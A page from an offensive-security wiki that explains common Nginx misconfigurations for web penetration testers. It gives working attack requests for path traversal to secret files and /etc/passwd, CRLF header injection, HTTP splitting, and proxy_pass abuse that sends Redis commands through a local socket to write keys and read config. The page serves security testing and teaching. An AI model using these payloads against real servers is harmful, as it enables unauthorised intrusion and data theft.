Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • ๐Ÿ› ๏ธMaltego
      • ๐Ÿ› ๏ธSpecialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • ๐Ÿ› ๏ธDLL Injection
        • ๐Ÿ› ๏ธCreateRemoteThread Injection
        • ๐Ÿ› ๏ธReflective DLL Injection
        • ๐Ÿ› ๏ธNtMapViewOfSection Injection
        • ๐Ÿ› ๏ธSetWindowHookEx Injection
        • ๐Ÿ› ๏ธPoolParty
        • ๐Ÿ› ๏ธMockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • ๐Ÿ› ๏ธSliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • ๐Ÿ› ๏ธMS Office - Excel 4.0 (XLM) Macros
          • ๐Ÿ› ๏ธMS Office - VBA Stomping
          • ๐Ÿ› ๏ธMS Office - Remote Dotm Template Injection
        • ๐Ÿ› ๏ธPhishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • ๐Ÿ› ๏ธUdev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • ๐Ÿ› ๏ธLoad Unsigned Drivers
        • ๐Ÿ› ๏ธMinifilter Altitude
        • ๐Ÿ› ๏ธHypervisor Code Integrity (HVCI) Disallowed Images
        • ๐Ÿ› ๏ธWindows Filtering Platform (WFP)
        • ๐Ÿ› ๏ธUserland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • ๐Ÿ› ๏ธCommandline Obfusaction
        • ๐Ÿ› ๏ธPE Obfuscation
        • ๐Ÿ› ๏ธString Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • ๐Ÿ› ๏ธPowerShell Constrained Language Mode (CLM) Bypass
      • ๐Ÿ› ๏ธKill Windows Defender
      • ๐Ÿ› ๏ธVirtualization-based security (VBS) Bypass
        • ๐Ÿ› ๏ธCredential Guard bypass
        • ๐Ÿ› ๏ธhypervisor-protected code integrity (HVCI) Bypass
        • ๐Ÿ› ๏ธWindows Defender Application Control (WDAC) Bypass
      • ๐Ÿ› ๏ธSandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • ๐Ÿ› ๏ธProcess & Services
    • Privilege Escalation
      • Windows
        • Tools โš™๏ธ
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • ๐Ÿ› ๏ธDLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • ๐Ÿ› ๏ธDirtyCow
          • ๐Ÿ› ๏ธRDS
          • ๐Ÿ› ๏ธFull Nelson
          • ๐Ÿ› ๏ธMempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • ๐Ÿ› ๏ธJoomla
        • ๐Ÿ› ๏ธDrupal
        • ๐Ÿ› ๏ธBolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • ๐Ÿ› ๏ธDjango
        • ๐Ÿ› ๏ธFlask
        • ๐Ÿ› ๏ธLaravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • ๐Ÿ› ๏ธJava Deserialization
          • ๐Ÿ› ๏ธRuby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • ๐Ÿ› ๏ธFile Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • ๐Ÿ› ๏ธRPC Port Mapper
      • ๐Ÿ› ๏ธFTP
      • ๐Ÿ› ๏ธTelnet
      • ๐Ÿ› ๏ธMySQL
    • WiFi
      • ๐Ÿ› ๏ธWEP
      • ๐Ÿ› ๏ธWPA2
      • ๐Ÿ› ๏ธWPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools โš™๏ธ
        • PowerView โš™๏ธ
        • Responder โš™๏ธ
        • BloodHound โš™๏ธ
        • enum4linux โš™๏ธ
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • ๐Ÿ› ๏ธNBT Name Overwrite
        • ๐Ÿ› ๏ธICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • ๐Ÿ› ๏ธDC Shadow
      • ๐Ÿ› ๏ธAccess controls
  • ๐Ÿ› ๏ธCloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • ๐Ÿ› ๏ธHTTP API V2
      • ๐Ÿ› ๏ธKubernetes
      • ๐Ÿ› ๏ธGitLab
      • ๐Ÿ› ๏ธGithub
      • ๐Ÿ› ๏ธGitea
      • ๐Ÿ› ๏ธJenkins
      • ๐Ÿ› ๏ธTerraform
    • Azure Pentesting
      • Reconnaissance
        • Tools โš™๏ธ
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • ๐Ÿ› ๏ธSmart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Misconfigurations
  • Tools
  • Missing Root Location
  • Off-By-Slash Misconfiguration
  • Unsafe Variable Use
  • Raw Backend Response Reading
  • Merge_slashes Set To Off
  • Proxy_pass Misconfigurations
  • Resources

Was this helpful?

Edit on GitHub
  1. Web Pentesting
  2. Infrastructures
  3. Web Servers

Nginx

Last updated 1 year ago

Was this helpful?

Theory

NGINX is open source software for web serving, reverse proxying, caching, load balancing, media streaming, and more. But there is some common Nginx misconfigurations that, if left unchecked, leave the web site vulnerable to attack.

Misconfigurations

Tools

There are several tools available, such as and , which can automate the process of identifying misconfigurations in Nginx.

is a tool to analyze Nginx configuration. The main goal of Gixy is to prevent security misconfiguration and automate flaw detection. This is a static files analyzer.

#Static analyze
gixy /etc/nginx/nginx.conf

will dynamicly look for common Nginx misconfigurations and vulnerabilities.

#Target tab in Burp, select host, right click, copy all URLs in this host, copy to a file
cat urllist | unfurl paths | cut -d"/" -f2-3 | sort -u > /tmp/pathlist 
#Or get the list of paths you already discovered in the application in some other way. 
#Note: the paths should not start with /

#Finally, run it
python3 nginxpwner.py https://example.com /tmp/pathlist

Missing Root Location

The root directive specifies the root folder for Nginx. In the following example, the root folder is /etc/nginx which means that we can reach files within that folder.

server {
        root /etc/nginx;

        location /hello.txt {
                try_files $uri $uri/ =404;
                proxy_pass http://127.0.0.1:8080/;
        }
}

In the above example, the root folder is /etc/nginx which means that we can reach files within that folder. The configuration does not have a location for / (location / {...})

Because of this missconfiguration in the previous example, the root directive will be globally set, meaning that requests to / will take you to the local path /etc/nginx.

#We can get sensitive files as the nginx.conf
curl http://example.com/nginx.conf

Off-By-Slash Misconfiguration

With the Off-by-slash misconfiguration, it is possible to traverse one step up the path due to a missing slash. Inside the Nginx configuration look the "location" statements, if someone looks like:

#Missing slash with alias directive
location /imgs { 
    alias /path/images/;
}

#Missing slash with proxy_pass directive
location /api {
    proxy_pass http://apiserver/v1/;
}

Because of this missconfiguration in the previous example, there is an LFI vulnerability. /imgs../secrets.txt will be transform to /path/images/../secrets.txt

#We can get sensitive files
curl http://example.com/imgs/../../secrets.txt

curl http://example.com/api/../../secrets.txt

Unsafe Variable Use

Some frameworks, scripts and Nginx configurations unsafely use the variables stored by Nginx. This can lead to issues such as XSS, bypassing HttpOnly-protection, information disclosure and in some cases even RCE.

With a configuration such as the following:

location / {
  return 302 https://example.com$uri;
}

The misconfiguration related is to use $uri or $document_uri instead of $request_uri which results in a CRLF injection. This is because this two variables contain the normalized URI whereas the normalization in Nginx includes URL decoding.

Because of this missconfiguration in the previous example, there is an CRLF vulnerability. URL-encoding the new line characters (\r\n) results in the following representation of the characters %0d%0a. When these characters are included in a request like http://localhost/%0d%0aDetectify:%20clrf to a server with the misconfiguration, the server will respond with a new header named Detectify since the $uri variable contains the URL-decoded new line characters.

#We send the following request
curl http://example.com/%0d%0aDetectify:%20clrf

#The server respond with a new header named Detectify
#since the $uri variable contains the URL-decoded new line characters.
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Raw Backend Response Reading

In Nginx, proxy_pass you can intercept errors and HTTP headers created by the backend. This is very useful if you want to hide internal error messages. But if client sends an invalid HTTP request, it will be forwarded as-is to the backend, the backend will answer with its raw content, and then Nginx wonโ€™t understand the invalid HTTP response and just forward it to the client.

With a configuration such as the following:

http {
   error_page 500 /html/error.html;
   proxy_intercept_errors on;
   proxy_hide_header Secret-Header;
}

Because of this missconfiguration in the previous example, if we send an invalid HTTP request, we can leak informations from the backend

#Send invalid HTTP request
GET /? XTTP/1.1
Host: 127.0.0.1
Connection: close

#Respons with leaked informations
XTTP/1.1 500 Error
Content-Type: text/html
Secret-Header: secret-info

Secret info, should not be visible!

Merge_slashes Set To Off

Because of this missconfiguration, using multiple slashes /// allow us to exploit that LFI vulnerability successfully.

curl "http://example.com//////../../../../../etc/passwd"

Proxy_pass Misconfigurations

The proxy_pass directive can be used to redirect internally requests to other servers internal or external. The use of this directive isn't a vulnerability but you should check how it's configured.

HTTP Splitting

If the regular expressions used in that directive are weak, they allow HTTP splitting to happen.

With a configuration such as the following:

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

the problem with this regular expressions is that it also allows newlines per default. In this case, the [^/]* part actually also includes encoded newlines.

Because of this missconfiguration, using multiple %0d%0a (CRLF) allow us to exploit that HTTP SPlitting vulnerability successfully. We can send the following request:

#Request
curl 'http://example.com/docs/%20HTTP/1.1%0d%0aHost:non-existing-bucket1%0d%0a%0d%0a'

#Request sent to bucket after proxy
GET /docs-website/ HTTP/1.1
Host:non-existing-bucket1

.html HTTP/1.0
Host: bucket.s3.amazonaws.com

Controlling proxied host

In some setups, a matching path is used as part of the hostname to proxy to.

location ~ /static/(.*)/(.*) {
    proxy_pass   http://$1-example.s3.amazonaws.com/$2;
}

Since the bucket is attacker controlled (part of the URI path) this leads to XSS but also has further implications.

We could make proxy_pass connect to a local unix socket as it supports proxying requests to local unix sockets. What might be surprising is that the URI given to proxy_pass can be prefixed with http:// or as a UNIX-domain socket path specified after the word unix and enclosed in colons:

proxy_pass http://unix:/tmp/backend.sock:/uri/;

Because of this missconfiguration, we can send a request to a local unix socket.

#Request
curl 'http://example.com/static/unix:%2ftmp%2fsocket.sock:TEST/app-1555347823-min.js'

#Request sent to /tmp/socket.sock after proxy
GET TEST-example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

For example, we can use it to make requests to a Redis socket and write any key:

#Request that set the key: "hacked" "isadmin" true
curl -X HSET "http://example.com/static/unix:/var/run/redis/redis.sock:hacked%20isadmin%20true%20/random"

#Request sent to /var/run/redis/redis.sock (Redis socket)
HSET hacked "isadmin" "true" -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close
# Request to overwrite the maxclients config key:
curl -X EVAL "http://example.com/static/unix:/var/run/redis/redis.sock:%22return%20redis.call('config','set','maxclients',1337)%22%200%20/app-1555347823-min.js" 

#Request sent to /var/run/redis/redis.sock (Redis socket)
EVAL "return redis.call('config','set','maxclients',1337)" 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

None of these commands respond with a valid HTTP response, and Nginx will not forward the output of the commands to the client, but instead a generic 502 Bad Gateway error.

Extracting data can be done avoiding the 502 error by simply having the string HTTP/1.0 200 OK anywhere in the response using string concatenation in the Lua script.

#Request to extract response from the CONFIG GET * command
#You may use other commands like redis.call("hgetall","key") for HGETALL
curl -X EVAL 'http://example.com/static/unix:/var/run/redis/redis.sock:%27return%20(table.concat(redis.call("config","get","*"),"\n").."%20HTTP/1.1%20200%20OK\r\n\r\n")%27%200%20/app-1555347823-min.js'

#Request sent to /var/run/redis/redis.sock (Redis socket)
EVAL 'return (table.concat(redis.call("config","get","*"),"\n").." HTTP/1.1 200 OK\r\n\r\n")' 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

Resources

learn more about CRLF and TTP response splitting

will serve a custom response if the backend has a response status greater than 300. In our uWSGI application above, we will send a 500 Error which would be intercepted by Nginx. is pretty much self explanatory; it will hide any specified HTTP header from the client.

The directive is set to on by default which is a mechanism to compress two or more forward slashes into one, so /// would become /. If Nginx is used as a reverse-proxy and the application thatโ€™s being proxied is vulnerable to local file inclusion, using extra slashes in the request could leave room for exploit it. This is described in detail by

Arbitrary Redis command execution vulnerability may be abuse using the command from Redis. We can execute Redis commands from EVAL using two different Lua functions: redis.call() and redis.pcall()

Gixy
Nginxpwner
Gixy
Nginxpwner
here
proxy_intercept_errors
proxy_hide_header
merge_slashes
Danny Robinson and Rotem Bar
EVAL
LogoCommon Nginx misconfigurations that leave your web server open to attack - Detectify BlogDetectify Blog
LogoMiddleware everywhere and lots of misconfigurations to fix | Detectify LabsDetectify Labs
LogoNginxHackTricks